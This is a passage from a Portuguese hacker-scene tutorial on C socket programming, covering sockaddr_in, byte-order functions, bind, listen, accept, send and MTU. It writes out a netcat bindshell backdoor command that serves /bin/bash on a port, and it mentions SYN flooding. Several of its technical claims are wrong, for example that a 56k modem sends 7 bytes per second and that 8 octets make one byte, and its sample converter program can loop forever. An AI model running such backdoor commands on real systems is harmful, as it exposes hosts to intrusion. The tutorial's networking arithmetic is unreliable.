Devemos utilizar funções para conversão cor- reta de ordenamento. Vamos ver isso logo + afrente (olha eu outra vez ;). Tambem vale repetir que existem maquinas que ja usam o ordenamento NBO por padrão ou seja, vc nao precisa usar 'htonl ()' para IP's e nem precisa usar 'htons ()' para numero de portas. Entao podemos dizer aqui amigo q apenas bastaria vc digitar 'addr.sin_port = 666;'..:) Mas se seu programa foce portado para outra maquina q nao ordenase bytes para conexão (NBO), ele nao iria funcionar. Para quem nao sabe portabilidade quer dizer q seu prog roda sobre diferentes arquiteturas, como por exemplo, vc faz 1 prog no linux q tambem roda no windows, seu program pode ser chamado de portavel. Usamos comumente o termo: Meu software eh facilmente portavel para arquitetura Unix, com algumas adaptações. Isso quer dizer ao pe da letra que o Source do programa pode ser adaptado p/ funcionar em sistemas Unix/Linux. Agora se alguem falasse: Meu software eh facilmente portavel para PLATAFORMA Unix, com algumas adaptações. Podemos dizer que se trata apenas do sistema operacional UNIX, tabom que isso eh um tanto quanto SEM SENTIDO!! Porque como todos sabemos linux possui a mesma base que o Unix, mas acho que voces entenderam o que eu quiz dizer...:P -06 Estrutura de conexão Agora o bicho vai pegar! Vamos ver a estrutura sockaddr_in ('in' vem de inTERNET ;). Essa estrutura eh usada para conexões na internet, p/ estabelecermos uma conexão com um host remoto temos que preencher esta struct. Aqui q dizemos o endereço do host, a porta que nos queremos nos conectar no host, etc. Eh como se fosse um formulario que devemos preencher com os dados da vitima (hehehe)... struct sockaddr_in { short int sin_family; // Familia do endereço -> AF_INET (This case) 2 Bytes (short) unsigned short int sin_port; /* Porta que iremos nos conectar */ 2 Bytes (short) struct in_addr sin_addr; //Leia mais abaixo 4 bytes (long) unsigned char sin_zero[8]; /* Zera o resto da struct, para ter o mesmo 8 bytes tamanho de struct sockaddr*/ }; struct in_addr { unsigned long s_addr; // Armaneza o endereço do host (4 bytes - Long [NBO]) }; Vamos preencher a struct: struct sockaddr_in target; target.sin_family = AF_INET; // Nesse caso vai ser AF_INET. 2 Bytes (short) target.sin_port = htons (80); // Uma porta qualquer, exemplo: 80 (HTTP). 2 Bytes (short) target.sin_addr.s_addr = inet_addr ("192.168.1.1"); // Leia mais abaixo as functions.4 Bytes memset (&(target.sin_zero), 0x00, 8); // Preenche de 0's a variavel sin_zero. 8 Bt's Total 16 Bts Agora saquem soh essa gracinha ae em baixo moçada, ia me esquecendo de falar sobre ela, nesta estrutura ficam armazenadas informações sobre endereço de socket. struct sockaddr { unsigned short sa_family; /* Familia de protocolos (AF_INET Neste caso =) */ char sa_data[14]; /* Aqui estão o endereço de destino e a porta */ }; A estrutura acima fara mais sentido quando falarmos sobre a função bind por exemplo, por esse mesmo motivo não vou falar sobre ela AGORA, apenas siga o texto e relaxe =] Agora sorria -> ...=) (descritor, (struct sockaddr *)&var_pt, sizeof (var_pt)...;) Eh interesante lembrarmos de zerar a variavel sin_zero em sockaddr_in, pois fazendo isso estamos acomodando a estrutura ao tamanho da strutct 'sockaddr'. Vale lembrar que podemos zerar o resto da struct de varias formas, ou usando o terminador nulo ('\0') na lista de argumentos da função memset, ou numero hexadecimal (0x00) tambem na lista de argumentos da func memset ou ateh mesmo usando o proprio '0' ( Adivinha) ... Na lista de parametros da função =0) ... -.- Afz!!! Ah! Tambem podemos zerar a struct com a função bzero (&(var.sin_zero), 8); Funçao essa que costumeramente fica no header =) Vamos ver agora algumas funcoes de conversao de ordenamento d bytes p/ voces ficarem feras mesmo na parada. -07 Funções de conversão de ordenamento de bytes Vale dizer que as variaveis unsigned short int sin_port; unsigned long s_addr; Devem armazenar bytes utilizando o ardenamento de bytes d rede (p/ a transmissao), que eh o tal do Network byte order. Então para convertermos O NUMERO DA PORTA de Host byte Order (Ordenamento comum das maquinas) para Network byte order e passarmos a constante para a variavel unsigned short int sin_port (/* Porta que iremos nos conectar */), devemos converter esse NUMERO em NBO, usando a funcao htons (), que vem de: "h" -> Host "to" -> para "n" -> Network "s" -> Short Total = Host to Network Short [unsigned short int sin_port]. Para simplificar, esta' function converte NUMEROS em NUMEROS PARA CONEXÃO... Isso! Show! Para a construcao do endereço do socket devemos utilizar a função 'inet_addr()' p/ converter os bytes em ordenamento de conexão (Network byte order), em outras palavras: Esta função pega uma string como '"192.168.1.1"' em HBO e converte em '192.168.1.1' NBO. Então está explicado o porque do: target.sin_port = htons (80); target.sin_addr.s_addr = inet_addr ("192.168.1.1"); inet_addr retorna o numero ja convertido em Network byte order, e em caso de erro o nosso amigo ai retorna -1. Esse -1 retorna os bits 11111111 que eh o numero binario para representar um octeto decimal no endereco de broadcast, que nada mais eh que o 255.255.255.255 que pode inclusive ser x.x.x.255, ou seja, com esse tipo de socket nao podemos usar o tal do endereco de broadcast (viva la checagem de erro manoh!!). Vamos ver mais alguns conversores maneiros amigos: inet_aton() [1]* Exemplo pratico. [2]* Exemplo tecnico. [1] inet_aton (*(argv+3), &(vitima.sin_addr)); [2] inet_aton (const char *pt, struct in_addr *pt); No exemplo 2 podemos ver que o primeiro argumento eh uma constante de caracteres (string), todos sabemos que constantes sao valores que sao mantidos "fixos" pelo compilador, aspas porque nem sempre um valor de uma variavel pode ser "constante", mantido fixo rsrs, acho que encontrei ai um furo do C, a falta d termos eheh. Pq? Todos os valores de variaveis e caracteres de espace sao chamados de constantes, mas ai existe REALMENTE uma constante que eh a "const", entendeu? Entao vou chamar ele de contante e NAO CONFUNDA com valorez mutaveis, porque como vc pode perceber este argumente EH REALMENTE UMA CONSTANTE, nao muda de geito nenhum (Por causa do "const" ai em cima =). O segundo argumento eh um ponteiro p/ a struct in_addr, vc lembra dela? var.sin_addr <- Na verdade o "sin_addr" eh uma variavel struct para in_addr e por isso a mesma referencia o elemento s_addr em in_addr, q eh onde fica armazenado o endereco do alvo e a porta, ou seja, aqui que fica o nosso endpoint. Nao se preocupem amigos, nao se assustem por favor, a funcao acima vai ficar muito facil de ser entendida no decorrer do texto, mas por hora gostaria d lhes informar que esta funcao converte em Network Byte Order o terceiro argumento de linha de comando QUE ESTA EM "ASCII" e copia para a variavel sin_addr, nao entendeu ainda?? aton vem de ' "ASCII" To Network', facil, mas existe um pequeno problema aqui, nem todas as plataformas implementam esta funcao, tentei utiliza-la no 'w(R)(U)indows' e me foi retornada a seguinte mensagem de ERRO: [Linker error] undefined reference to `inet_aton' oooh!! Que bosta de sistema imundo eh esse minha gente! Num tem raw socket, num tem seguranca e ainda nao tem inet_aton ()!! Putz! Como voces conseguem viver usando um sistema que trava mais que fusca velho e que nao tem nada de bom!! Deus do ceu!! Me perdoe por estar cuspindo no prato que comi durante tanto tempo!! Desculpe, mas eu tenho que evoluir! Como diz o meu amigo Von: Agora soh to usando ele para fliperama hauahuah!!! Joguinhos rulez! O interessante desta funcao eh que ela ao contrario de quase todas as functions relacionados a socket, retorna um numero diferente de 0 EM CASO DE SUCESSO e 0 em caso d erro oO Eh estranho, mas fazer o que.:) Mais algumas: htonl() -- "Host to Network Long" - Converte host byte order em NBO.( -> LONG![IP] <-) ntohl() -- "Network to Host Long" - Converter Network byte order em Host long. ntohs() -- "Network to Host Short" - Converte NBO em Host byte order "Short". _-=-_-= EM OUTRAS PALAVRAS =-_-=-_ variavel.sin_port = htons (80) To -> Digo para vc's que short eh o numero da porta. As outras funções: fprintf (stdout, "Vc esta conectado na porta %d\n", ntohs (ax.sin_port)); Veja que utilizo o codigo de controle 'd', pois a variavel em questão se trata de um 'unsigned short "int"'(sin_port), poderia utilizar também o codigo de controle 'i' seguido da notação '%' como sempre ;P Ou até mesmo podemos ler assim; fprintf (stdout, "Vc esta conectado na porta %hu\n", ntohs (ax.sin_port)); Porque o %hu eh utilizado para ler variaveis unsigned short int, e por ae vai ...:) A função 'inet_addr ()' converte os dados em host byte order para network byte order e isso significa que não precisamos usar o htonl (Para converter string "IP" em IP). Voce deve estar querendo saber porque apenas duas constantes (IP e Porta) devem ser convertidas para Network byte order, simples: sin_family juntamente com sin_zero nao precisam porque como eu ja falei sin_zero soh existe p/ acomodar bytes igual a struct sockaddr, e AF_INET so existe para determinar a familia. Ambas NAO SAO ENVIADOS PELA REDE!!! Ponto :-) Bem, sin_zero serve para completar o endpoint, hum... Soh quem nao vai trafegar pela rede ae eh o AF_INET. Vamos continuar com mais 1 funcaozinha util: inet_ntoa (); Header: OBS: Se voce for esperto podera' perceber que um "mooonte" de funcao que se inicia com inet_ fica neste header, sabendo disso podera ficar mais facil para vc. Como foi pra mim quando percebi isso ;) Essa função diferente da 'ntohs()' que mostra o numero da porta que especificamos na estrutura de conexao, mostra o nosso endereço IP, vamos a um exemplo: fprintf (stdout, "%s listening on %d...", inet_ntoa (variavel_struct.sin_addr), ntohs (variavel_struct.sin_port)); < ----------- Acho que voces ja sacaram a jogada, ntoa vem de "Network To ASCII", ou seja, a function vai pegar o ordenamento d bytes para conexão e vai transformar em ASCII, ou seja, Plain Text. 08 - Funcoes de socket 8.1 A funcao Connect (); Este funcao nada mais eh que a funcao responsavel pela conexao, OO Olha que surpresa gente... Quem diria eim? Nossa, nunca imaginaria que a funcao connect servia para conectar os sockets:) A funcao connect possue esse modelo (Prototipo ou sei la o q): connect (descritor, endpoint, endpoint_len); Onde: descritor -> Eh o descritor de socket que recebeu valores de retorno da funcao socket (). endpoint -> Este argumento eh usado para especificar a estrutura sockaddr que contem a porta e o endereco do Host. Necessariamente eh copiado para essa struct todo conteudo de sockaddr_in NO MOMENTO DA DECLARACAO, utilizando o '&' comercial. Como todos sabemos a struct sockaddr_in possui 16 bytes. Vejamos: 2 AF_INET . [short ] 2 sin_port. [short ] 4 s_addr . [long ] 8 Pading . [sin_zero] Como ja falei para copiarmos esses dados para sockaddr fazemos isso entao: -- cut -- struct sockaddr_in addr; connect (descritor, (struct sockaddr *)&addr, sizeof (addr)); -- cut -- Hum... Olhem uma coisa interesante que fará mais sentido logo mais, por isso nao se preocupem: sendto (sock, payload, 1, 0, \ (struct sockaddr *)&addr, 15); // Copia 15 mas era p/ copiar 16 Resultado: C:\Documents and Settings\David\Desktop>send -1 byte enviado a 192.168.1.1 Agora se especificarmos 16 nos vemos essa msg: C:\Documents and Settings\David\Desktop>send 1 byte enviado a 192.168.1.1 1 byte porque eu quiz enviar apenas 1 byte do payload, eu mando na minha maquina manoh...:) Isso ilustra bem a importancia de se copiar todos os bytes de uma estrutura para outra. Outro detalhe interessante de lembrar eh que comumente chamamos de endereco de endpoint, a combinação do endereco do host e a porta, ou seja, veja a struct sockaddr: struct sockaddr { unsigned short sa_family; // AF_* -> 2 bytes char sa_data[14]; // 14 bytes do endereco, porta e pading 0x00. }; So o que vai trafegar na rede ai eh o sa_data, que contem o nosso endpoint. Tambem lembrando que um ponteiro para sockaddr_in pode ser convertido para sockaddr e, "vice-versa". Vamos falar sobre isso mais tarde. Atencao: Essa funcao retorna -1 em caso de erro...:) 8.2 A funcao bind (); headers -> #include #include A funcao do bind eh associar uma porta a um socket, mas ao inves de associar uma porta para conexao na vitima, essa funcao vai abrir (ou bindear [Giria hacka]) uma porta no nosso sistema. Acho que voces ja ouviram o termo -> bindshell. O que poderia vir a ser um exploit de bindshell? Simples, essa eh a classe de exploit mais tradicional, o que eles fazem eh basicamente abrir uma porta e te retornar 1 shell, olha q coisa original gente...:) bind [Abre]- Shell [Nos retorna] ehehe. Esse termo tb pode ser a desinencia p/ o tipo de backdoor mais famoso, como todos nos sabemos existem as backdoors de port knocking e as de bindshell. Ou seja, o netcat com esta sintaxe: nc -l -p 1025 -vv -e /bin/bash Constroi uma backdoor do tipo bindshell. bind [Abre]- Shell [Nos retorna] UuUuUuUiii!! Atencao: Soh p/ variar um pouco essa funcao retorna -1 em caso de erro...:) Veja sua sintaxe de uso: [1]* Exemplo pratico. [2]* Prototipo tecnico. [1] bind (desc, (struct sockaddr *)&addr, sizeof (addr)); [2] bind (desc, struct sockaddr *addr, int comprimento); [2]: desc -> Descritor de socket (Lembrando: Este descritor nada mais eh que uma variavel qualquer do tipo integer que recebeu um numero inteiro (claro :P) retornado pela funcao 'socket ()'). Segundo argumento -> Ponteiro para struct sockaddr. Onde 'addr' eh a variavel struct para sockaddr_in . Terceiro argumento -> Quantidade de bytes que vao ser copiados da struct sockaddr_in (addr) para sockaddr. [1]: OBS: Tenha em vista que addr eh a variavel struct p/ sockaddr_in Onde: desc --> Descritor (struct sockaddr *)&addr --> (struct sockaddr *)&addr eheheh. Criamos um Endpoint. Aqui copiamos os dados de sockaddr_in p/ sockaddr... Voce consegue lembrar disso? sizeof (addr) --> Aqui definimos o tamanho da strutura de conexao. Lembram daquele pequeno formulario com os dados da vitima? Pois eh cara, passamos aqui o tamanho dele. Podemos especificar uma interface qualquer para ele usar com o inet_addr ("IP"); Saquem ae um belo de um exemplo: -- cut -- #include #include // memset () #include #include #include #include #include struct sockaddr_in blah; int main (void){ ... // <- Isso que dizer que tem codigo p/ cima viu??? blah.sin_family = AF_INET; // Dados enviados atravez de TCP/IP blah.sin_port = htons (666); // Abre a porta 666 blah.sin_addr.s_addr = inet_addr ("127.0.0.1"); // Escuta na interface de loopback memset (&(blah.sin_zero), 0x00, sizeof (blah.sin_zero)); // Zera a struct if ( (bind (descritor, (struct sockaddr *)&blah, sizeof (struct sockaddr)) == -1){ fprintf (stderr, "Erro ao abrir porta!"); exit (-1);} fprintf (stdout, "Porta [%d] listening on [%s]...", ntohs (blah.sin_port), inet_ntoa (blah.sin_addr)); ... /* <- Leia la eh cima ehehe. As funcoes que sao declaradas neses locais vao ser descritas posteriormente no decorrer deste paper...:) */ -- cut -- 8.3 A funcao listen (); O cabecalho desta func eh o #include . Va ciente que os cabecalhos podem mudar d distro p/ distro manoh. O mais recomendavel eh usar manpages. Enfim, esta func (como o proprio nome ja diz) serve p/ escutar em 1 porta e definir um numero maximo de conexoes a mesma. Chamamos esse numero de Backlog, ou Backlog Queue (Queue = fila de pessoas =). Como eu havia falado, esse tal de BACKLOG nada mais eh q um numero inteiro que vai determinar quantas pessoas podem se connectar "simultaneamente" no socket, ou na porta (Melhor dizendo), ei! Ou na fila eheh. Entenda o porque da "fila": O BACKLOG sem meias palavras nada mais eh que o que determina o limite de pessoas que poderao pedir para conectar, vamos com calma. Apos nos deixarmos uma porta em escuta (Porta essa q foi anteriormente setada com o bind) esperamos os clientes conectarem, mas antes da conexao eh dado o nosso velho conhecido processo Three Way Handshake que faz a negociacao em 3 vias, eh emitido pelo cliente primeiramente a flag d sincronismo 'syn' que eh o primeiro passo para iniciar qualquer conexão por TCP, como voces sabem para a conexao ser concluida e a funcao 'accept()' [Falarei logo mais] entrar em vigor associando o cliente a um novo socket, temos que mandar um outro syn + ack,ISN +1, o nosso amigo cliente entao mandaria um ACK,ISN + 1 e estaria feita a conexao, mas... Ai que esta o problema, ate que o cliente mande o ACK final, teriamos menos 1 no numero d BACKLOG para cada cliente em negociacao com agente, ou seja, se setarmos 5 no numero d BACKLOG e existirem 6 pessoas se conectando em nosso server ao mesmo tempo, entao um infeliz que tentou se conectar depois das outras 5 nao vai conseguir acesso ao host, pois nao vai ter mais espaco na fila (Queue =). A brecha Agora voces muito provavelmente devem estar lembrando do bom e velho syn flood :) Onde eh emitido varios pacotes com a flag syn ligada (1) para uma determinada porta, assim fazendo o host consumir todo seu BACKLOG esperando por ACK's que nunca chegarao..:) A sintaxe desta function eh tao facil que chega a me enfurecer, olhem a complexidade da func: listen (descritor, 5); Aee!! Olha que coisa autamente complexa!! Meu Deus! Como eu consegui entender isso??? Eu sou um genio mesmo eheh. Descritor ae eh o nosso manjado amigo que nem vou me dar o trabalho de descrever "novamente" aqui...:) E o numero 5 quer dizer que apenas 5 pessoas poderao ficar na fila da minha backdoor rsrsrs. Como sempre (AI!), esta func retorna -1 em caso de erro. Entao podemos dizer que o bind () associa uma porta ao socket e o listen () deixa a porta que foi bindeada em modo passivo (Aguardando uma conexao), ponto. Ah! Alguns sistemas setam o BACKLOG maxima p/ 20, mas vc ainda pode definir 5 ou 10 (eheh Eu adoro livros de C =). 8.4 A funcao accept (); Vou dar um foco especial a esta por causa do meu primo de 8 anos que mora em Minas Gerais [Ler eh melhor que usar telefone :]... [1]* Exemplo pratico. [2]* Exemplo tecnico. [1] - new_sock=accept(SoCk,(struct sockaddr *)&struct_remote, (int *)sizeof (struct sockaddr_in)); [2] - accept (descritor, void *pointer, int *pointer); Tenha em vista q o ultimo argumento do exemplo [1] foi apenas para ilustrar q o mesmo se trata de um ponteiro (Apesar de eu ter utilizado um typecast "no exemplo pratico", o ultimo argumento se trata de um ponteiro) p/ um inteiro e q devera' conter o tama- nho da strutura descrita, na pratica, este ultimo argumento devera' ser setado como uma variavel local do tipo integer (integer = inteira). Entao devemos passar este ar- gumento corretamente p/ q todos os dados da sockaddr_in sejam copiados p/ sockaddr, q nada mais eh que uma estrutura de 16 bytes. Utilizamos entao o operador '&' para pas- sarmos o endereço de memoria da variavel para a funçao (Lembra do ponteiro? Lembra tb q os operadores unarios como o '&' em C, agem sobre uma determinada variavel e podem ou nao modificar o seu valor, mas sempre no final retornam os mesmos? =). Veja mais 1 exemplo pratico: int size; size=sizeof (struct sockaddr_in); // Isso eh 16 =) new_sock=accept(SoCk,(struct sockaddr *)&struct_remote, &size); Depois que temos uma porta em listen a nossa maquina ira aguardar os clientes, quando os mesmos se conectam a funcao 'accept ()' se encarrega de criar um novo socket para interagir com o cliente e apartir dai podemos usar esse novo socket para brincar...:P O socket original vai permanecer inalterado aguardando outros clientes e sempre apos as conexoes o accept() associa um novo socket a cada 1 deles. Parece um tanto confuso vermos o tal struct_remote ali no meu exemplo, mas eh assim mesmo kra. Definimos duas structs _in, uma p/ conter os dados necessarios para bindear e ouvir em uma porta no nosso sistema e a outra struct eh usada para acomodar o cliente. Repetindo: Nos vamos trabalhar como servidor e utilizamos essa struct p/ acomodar o cliente =) &size Eh a quantidade de bytes que vamos copiar. Como diria minha "amiga" vadia Pr: Yeah. Eu digo: oooh Yeah! Quem ta do outro lado? 8.5 A funcao getpeername (); Header: Uma otima funcao para nos mostrar o endereco IP de quem esta conectado a nos eh a tal da getpeername (); Seu prototipo eh bem simples, getpeername (desc, (struct sockaddr *)var_struct, int *size); desc -> Descritor struct... -> Preciso mesmo falar? size -> Tamanho da struct. sizeof(struct sockaddr). Depois de fazermos isso podemos usar aquela function maneira, a tal da inet_ntoa(); Lembra dela? =) Network to ASCII = IP do camarada. So q ao invez de usarmos a struct que foi utilizada para abrir a porta, utilizamos a q eh usada p/ compartar o cliente. Lembra do accept? ehehehe. 8.6 A funcao send (); Header(s): Prototipo: send (descritor, payload, pay_len, flags); Onde: decritor --> Eh o descritor de socket. payload --> Os dados que vao ser enviados. pay_len --> Quantos bytes do payload vao ser enviados. flags --> Esses argumentos contem bits de requisicoes mais complexas, como depuração do sistema. Nao vou descrevelos agora, fica para a segunda parte. Por hora apenas coloque 0 ai. Esta funcao como o proprio nome ja diz, eh a funçao responsavel pelo envio de dados atravez de um socket "orientado a conexao", ou seja, SOCK_STREAM. Exemplo: unsigned char payload[]="Oi, como voce esta?"; send (sock, payload, strlen (payload), 0); Neste caso seria enviado atravez do socket (sock) todo o conteudo da variavel payload. Vale lhes lembrar q o terceiro argumento (strlen) da funcao, eh usado para designar a quantidade de bytes (dentro do buffer) q serao enviados, neste caso, estou utilizando o numero "retornado" pela funçao strlen p/ passar p/ a funcao send() o numero correto de caracteres a serem enviados. Eu tambem poderia, ao invez d utilizar uma funçao para a contagem de bytes de dentro do buffer, especificar um numero inteiro "direto" no segundo argumento da funçao send, mas acho que isso eh obvio!!. Exemplo: unsigned char payload[]="Oi, como voce esta?"; send (sock, payload, 2, 0); Neste outro exemplo acima apenas seria enviado atravez do socket duas letras de dentro da variavel payload, ou seja, iriam chegar na outra ponta apenas o 'Oi', pois o numero dois representa 2 bytes e eu tenho certeza (ou pelo menos deveria ter) q vc sabe muito bem que um caractere equivale a 1 byte. Eu acho que consegui esclarecer bem a sintaxe basica desta funçao ;) Na proxima parte iremos abordar o tema [Flag's]. A funcao send retorna o numero de bytes enviados e -1 em caso de erro. Podemos dizer em um modo bem "simbolico" q a funcao send() as vezes envia 1 numero menor do q vc mandou ela enviar, isso ocorre porque se voce estiver mandando muitos dados no payload e este mesmo frame (Por exemplo) ficar maior que o limite de bytes permitidos pela MTU de sua vitima, o pacote vai ser entregue aos poucos, ou seja, eh enviado ao host um pedaço grande q eh um fragmento que possui um tamanho para a parte de dados multiplo de 8 octetos e q eh determinado pelo MTU da rede, logo em seguida eh enviado outro menorzinho, se o pacote for pequeno a tal da funcao send() manda tudo de uma vez dai...:) Voce nao sabe o pq deste '8 octetos'? Um octeto neste caso nada mais eh que um numero binario [bit] que agrupado em 8 forma 1 byte, acho q vcs sabem o que significa o termo KB/s, certo? Nao? Esse termo eh usado p/ se referir a uma taxa de transmissao d dados, ou como falam por ai: "Medida de velocidade de transferencia de dados". Esta nada mais eh q uma medida d tranferencia calculada em "Bytes" por segundo (Como o proprio nome ja entrega). Entao... esses tais 8 octetos sao os binarios (BIT - Binary DigIT) que a interface de rede pode receber e enviar, para ser mais especifico, uma interface de rede (Exemplo: eth0), processa os dados de oito ('8') em oito ('8') bits, a interface so pode receber e enviar binario. Vamos simplificar mais as coisas tendo como base dispositivos d rede que possuem sua velocidade de transmissao "medidas" em "bits" por segundo, kbps propriamente dito... \O/ A maioria para ser mais especifico rsrsrs, entao ja q sabemos que o tamanho do bloco processado por vez por uma interface padrao eh de 8 octetos que equivelem a 1 byte, podemos dizer entao que um modem que transmite dados a 56k [bits] por segundo, envia 7 bytes por segundo, porque 7 * 8 = 56 Sacow? Outro exemplo,humm... Ja sei! A taxa de tranferencia de um monte ADSL varia d 256kbits a 2 mbps, vamos dizer que a taxa do meu modem seja de 256, entao eu vou multiplicando um numero qualquer por 8 (Que eh o numero do bloco lido por vez pela maioria dos dispositivos) ate encontrar um resultado que condiz com a taxa de transmissao do periferico que voce viu na caixa da placa (Valquiria!!! Essa eh pra voce!) rsrsrss. Achei: 8 * 32 = 256. Entao um modem de 256kbps pode enviar '32' bytes por segundo. Ei caras, lembrem-se sempre: 8 bits equivalem a 1 byte. Abaixo segue um algoritimo de minha autoria no qual eh utilizado para calcular taxa de transmissao. Esta tecnologia eh "totalmente Brasileira" e by me...:) Este software eh Cross Plataforma, ou seja, ele roda sobre diferentes arquiteturas, 'Unixes' e Windows. A macro definida no codigo eh a __USE_BSD por questoes de incentivo =) ---- Emp_Trans_converter.c --- /* * * ======================================= * ++++++ CORPORACAO VIBORA ++++++ * A cena Hacker Underground Brasileira * ======================================= * * Emperial Transmission Converter * "Trans" eh rulez eheheh v0.1 * * by * 6_Bl4ck9_f0x6 * * For Windows Sux and Unixes Rulez! * * Software Cross Plataforma */ #include #include #ifdef __USE_BSD #define RULEZ "[Brazil Underground Hacker - Rulez =7]\n" #define FLAG 1 #endif #if FLAG == 1 #define BSD "[6_Bl4ck9_f0x6 and Unix BSD like rulez!]\n" #else #include #endif #ifdef WIN32 #define RULEZ "[Winuser :( Instala um sistema que preste amigo :P]\n" #endif void banner (); main (int argc, char *argv[]){ if (argc < 3){ #ifndef FLAG SetConsoleTitle ("Your Winuser fulero!"); Sleep (1); // Subliminar rsrsr system ("cls"); banner (); printf ("%s", RULEZ); #endif #ifdef FLAG #undef FLAG system ("clear"); banner (); printf ("%s", RULEZ); printf ("%s", BSD); #endif fprintf (stderr, "\nUso: %s \n", argv[0]); exit (-1);} int bytes, opera=0, ct=0; bytes=atoi (argv[1]) * atoi (argv[2]); while (opera != bytes){ opera+=8; ct++;} #if WIN32 system ("cls"); #else system ("clear"); #endif banner (); fprintf (stderr, "[%d] bytes por segundo\n", ct); } void banner (){ char *banner[]={ "[=] + ===============[####]================== + [=]\n", " *** Emperial Transmission Converter ***\n", " XxX VIPER CORP GROUP[0.1] XxX\n", " <-> Underground Max <->", "[=] + ===============[####]================== + [=]\n"}; printf ("%s%s%s%s\n\n", banner[0], banner[1], banner[2], banner[4]);} --- cut this file here --- Voce fornece a taxa de transmissao (transferencia) a ele e o numero de bytes propri- amente dito, apos isso ele vai calcular o tempo que esses bytes forncedidos vao ser entregues ao host baseado-se pela taxa de transmissao. Vamos ver agora exemplos de utilizaçao: +-----------------------------------+ |[1] - Etapa de compilaçao (Normal) | +-----------------------------------+ sh-3.1# bash root@Black_Machine:/home/Black_Fox# gcc Emp_Trans_converter.c +-----------------------------------+ |[2] - Execuçao do software | +-----------------------------------+ root@Black_Machine:/home/Black_Fox# ./a.out [=] + ===============[####]================== + [=] *** Emperial Transmission Converter *** XxX VIPER CORP GROUP[0.1] XxX [=] + ===============[####]================== + [=] [Brazil Underground Hacker - Rulez =7] [6_Bl4ck9_f0x6 and Unix BSD like rulez!] Uso: ./a.out +-----------------------------------+ |[3] - Utilizaçao propriamente dita | +-----------------------------------+ root@Black_Machine:/home/Black_Fox# ./a.out 56 1 +-----------------------------------+ |[4] - Resultados retornados | +-----------------------------------+ root@Black_Machine:/home/Black_Fox# [=] + ===============[####]================== + [=] *** Emperial Transmission Converter *** XxX VIPER CORP GROUP[0.1] XxX [=] + ===============[####]================== + [=] [7] bytes por segundo root@Black_Machine:/home/Black_Fox# Exemplo "pratico" d mediçao d taxa d transferencia tendo como base o q foi descrito por mim anteriormente ..: Placa de rede que transmite a 8kbps (1 byte) por segundo (Que coisa lenta!): +-------------+-------------+-------------+-------------+ Bits transmitidos: | 01100010 | * | * | * | +-------------------------------------------------------+ Segundos por bits: | 1 | 2 | 3 | 4 | +-------------+-------------+-------------+-------------+ ^ ^ | | +---------------------------+---------------------------+ | | V 4 Byte[s] [ A placa envia estes 4 bytes em 4 segundos ] Taxa de tranferencia em KB/s: 1. 1 * 8 = 8 - 1 KB/s ^ ^ | | + ----------+ Exemplo -> simbolico <- : Se nos enviarmos entao 34 bytes para a interface que vamos dizer aqui que tenha um MTU de 32 bytes (Multiplo de 8 =) por exemplo [SIMBOLICO!] e nos temos uma taxa d transmissao medida em bits por segundo, digamos que seja 8k, entao nosso frame vai ser quebrado em 2 pedaços, um d 32 bytes e o outro de 2 bytes e demorariam "cerca" <- de 34 segundos para serem transmitido por completo ( ^ | Agora repare neste 'cerca' ---+ _) O payload pode conter "na pratica" d 46 a 1500 bytes quando se eh transmitido como um frame ethernet, por razoes obvias e ja esclarecidas. Voce diz: Ei, espere ai!!! Porque os tais "DADOS" do pacote devem ser multiplos de 8 octetos? Eu lhe respondo isso: -Por essas e por outras amigos: b - f o x 01100010 [*] [*] [*] Lembram que cada carectere equivale a 1 byte? Facil, muito facil =7 Importante: Nem sempre o ultimo fragmento eh multiplo de 8 octetos, porque tambem devemos levar em conta os dados que o pacote precisa para trafegar na rede, ou seja, os headers e afins. Com esse esquema nos podemos ate fazer programas que enviem dados e que ainda possam determinar o tempo que os dados sao entregues se baseando pela taxa de transferencia que espeficicarmos na linha do comando por exemplo, ele devera' calcular a taxa de transmissao de seu periferico junto com o numero de bytes que voce esta' enviando... Nos tambem poderiamos atravez de numeros de retorno, determinar o tal do MTU da rede entre varias outras paradinhas maneiras, assim nao usamos o nmap p/ fragmentaçao no escuro, pois somos profissionais e nao [kiddies], eu gosto muito de saber o q eu to fazendo rsrs. A fragmentaçao eh o poder!! Abra parenteses: O queeee!? Voce nao entendeu o que eh MTU? Simples, uma MTU - Maximum Transmission Unit ou simplesmente Unidade de Transmissao Maxima eh um numero setado "em bytes" que determina a quantidade maxima de octetos que uma interface d rede ([Placa de rede/iface]) eh capaz d manipular em uma transaçao (Nao esse tipo de transaçao que sua mente poluida acabou de pensar eheh). Quando digo transaçao me refiro a capacidade de enviar e receber determinados numeros de bytes. Muito Facil! :) Feche ele agora. Atençao amigo: Tentem por favor levar essa historia de fragmentaçao a serio, procurem infos relacionadas a MTU na internet, gostaria de lhes adiantar que eu estou preparando a um certo tempo um paper fantastico sobre o ataque baseado em fragmentaçao. Brevemente o estarei publicando aqui: http://www.thebuggers.in O MTU default do windows 95 sux eh de 1500, isso significa q aparentemente o tio Bill fez essa versao do windows p/ Ethernet's like, mas isso pode variar bastante, p/ ver o MTU de alguma interface, apenas digite o comando 'ifconfig' e procure o MTU dela. Ainda existe (com o comando ifconfig) a possibilidade de mudarmos um numero de MTU p/ uma determinada interface. Um exemplo de configuraçao de MTU em Unix: Black_Fox@Black_Machine:~$ su Password: root@Black_Machine:/home/Black_Fox# ifconfig eth0 192.168.1.1 broadcast 192.168.1.255 netmask 255.255.255.0 up root@Black_Machine:/home/Black_Fox# ifconfig eth0 Encapsulamento do Link: Ethernet Endereço de HW 00:07:95:50:F0:AD inet end.: 192.168.1.1 Bcast:192.168.1.255 Masc:255.255.255.0 UP BROADCASTMULTICAST MTU:1500 Métrica:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 colisões:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) IRQ:10 Endereço de E/S:0x4000 lo Encapsulamento do Link: Loopback Local inet end.: 127.0.0.1 Masc:255.0.0.0 endereço inet6: ::1/128 Escopo:Máquina UP LOOPBACKRUNNING MTU:16436 Métrica:1 RX packets:12 errors:0 dropped:0 overruns:0 frame:0 TX packets:12 errors:0 dropped:0 overruns:0 carrier:0 colisões:0 txqueuelen:0 RX bytes:600 (600.0 b) TX bytes:600 (600.0 b) root@Black_Machine:/home/Black_Fox# ifconfig eth0 mtu 100 ; ifconfig | grep "MTU" UP BROADCASTMULTICAST MTU:100 Métrica:1 UP LOOPBACKRUNNING MTU:16436 Métrica:1 root@Black_Machine:/home/Black_Fox# Tive q levantar minha iface pq eu nao constumo usar muito ela sabe. Vejam q inicialmente meu MTU era de 1500 e depois o alterei p/ 100 bytes. Repare tambem q o MTU da minha iface de loopback (lo) eh d 16436 bytes. 